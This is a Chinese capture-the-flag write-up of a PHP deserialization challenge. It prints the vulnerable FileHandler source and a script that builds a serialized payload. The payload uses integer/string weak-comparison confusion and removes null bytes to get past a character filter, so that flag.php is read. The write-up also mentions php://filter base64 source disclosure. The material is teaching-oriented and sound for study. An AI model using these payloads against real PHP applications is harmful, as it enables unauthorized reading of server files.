buuctf系列解题思路祥讲--[网鼎杯 2020 青龙组]AreUSerialz1——文件包含漏洞,PHP代码审计,php伪协议,php反序列化

1、解题思路

打开题目是一串代码,好耶是我们最喜欢的代码审计

复制代码
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

解题流程

分析代码可以得到以下关键信息

1、接收str参数并进行反序列化------提交序列化数据str

2、在提交前对str进行过滤,如果字符中包含ascii值不在该范围的就直接返回false

3、FileHandler类包含三个属性op;filename;$content,且有俩个魔术函数其中__destruct是一定会执行的,然后可以看到该函数是对op进行判断了,是否强等于"2",如果等于就赋值为一然后content置空,然后在执行process()

4、然后看process(),如果op=1就执行write函数,op等于2就执行read()函数(read就是读,write就是写

破题关键

分析一下上述流程那到这里就已经可以知道怎么得到flag了------序列化一个FileHandler对象,然后设置他的

op为2 ------(这里主要是destruct函数是强等于字符串2,而process是弱等于,那就可以让op等于数值2从而绕过destruct函数)

,filename等于flag.php,content随便等于啥都行,这样答案就出来了吗?

php 复制代码
<?php
class FileHandler {
    protected $op= 2;
    protected $filename="flag.php";
    protected $content="sssss";
}
$obj=new FileHandler();
echo serialize($obj)
?>

随后我们输出序列化字符str=O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";s:5:"sssss";}

然后我们会发现并没有得到flag反而是bad hack,为什么呢?

因为is_valid对我们的str进行了过滤,而我们序列化非公有属性时输出的属性前会有一些不可见的字符,所以会被拦截,所以我们把前面的字符删了就行(虽然这里可以直接把属性设为公有的就行,主要是为了引出知识点。。。)然后我们得到str=O:11:"FileHandler":3:{s:5:"op";i:2;s:11:"filename";s:8:"flag.php";s:10:"content";s:5:"sssss";}

随后就可以得到flag,当然这个flag是被隐藏了的,要查看网页源码才能看到

如果想能直接看到flag,可以使用php的filter伪协议就行base64编码

2、涉及关键知识点和疑惑解析

1、PHP序列化

含有private和protected权限的变量时,会在变量名前添加ASCII码为0的不可见字符,这些字符在显示和输出时可能不易察觉,甚至导致数据截断。为了清晰查看,可将序列化后的字符串进行urlencode编码后打印输出

private私有属性序列化时:\x00类名\x00属性名

protected受保护属性序列化时:\x00*\x00 属性名

2、php魔术方法:

__construct:用于在创建对象时自动调用,主要用于初始化对象。

__destruct:它在对象被销毁时自动调用。这通常发生在对象的所有引用都被删除或者脚本执行结束时。

3、伪协议:filter

phpfilter,关键功能是在读取 文件内容时对 数据进行预处理 (比如编码),这个过程会绕过 PHP 的直接解析执行能直接获取文件的源码

基本格式如下: php ://filter/[过滤方式]/[过滤器]/resource=[目标文件]

4、强等于弱等于

比较符号 名称 校验规则 核心特点
== 弱等于 只校验「值是否相等」,不校验「数据类型」 会自动转换两边数据类型后比较
=== 强等于 同时校验「值相等」+「数据类型完全一致」 不转换类型,直接严格对比
相关推荐
m0_738120724 小时前
应急响应——知攻善防蓝队靶机Web-1溯源过程
前端·网络·python·安全·web安全·ssh
努力努力再努力wz4 小时前
【Linux网络系列】:网络+网络编程(UDPsocket+TCPsocket)
java·linux·c语言·开发语言·数据结构·c++·centos
云计算练习生4 小时前
渗透测试行业术语扫盲(第十七篇)—— 合规、开发与职业类
网络·网络安全·信息安全·渗透测试术语·网络安全规范
zhaotiannuo_19984 小时前
渗透测试之后端编程PHP
开发语言·chrome·php
曹牧4 小时前
内部服务错误500
服务器·开发语言
while(1){yan}4 小时前
HTTP的数据报格式
java·开发语言·网络·网络协议·http·青少年编程·面试
wuguan_4 小时前
C#之List数组
开发语言·c#·list
Neolnfra4 小时前
SMB、FTP、MySQL... 配置不当,即是漏洞
linux·数据库·mysql·安全·网络安全·系统安全·安全架构
Blasit4 小时前
Qt C++ 编译 libevent静态库
开发语言·c++·qt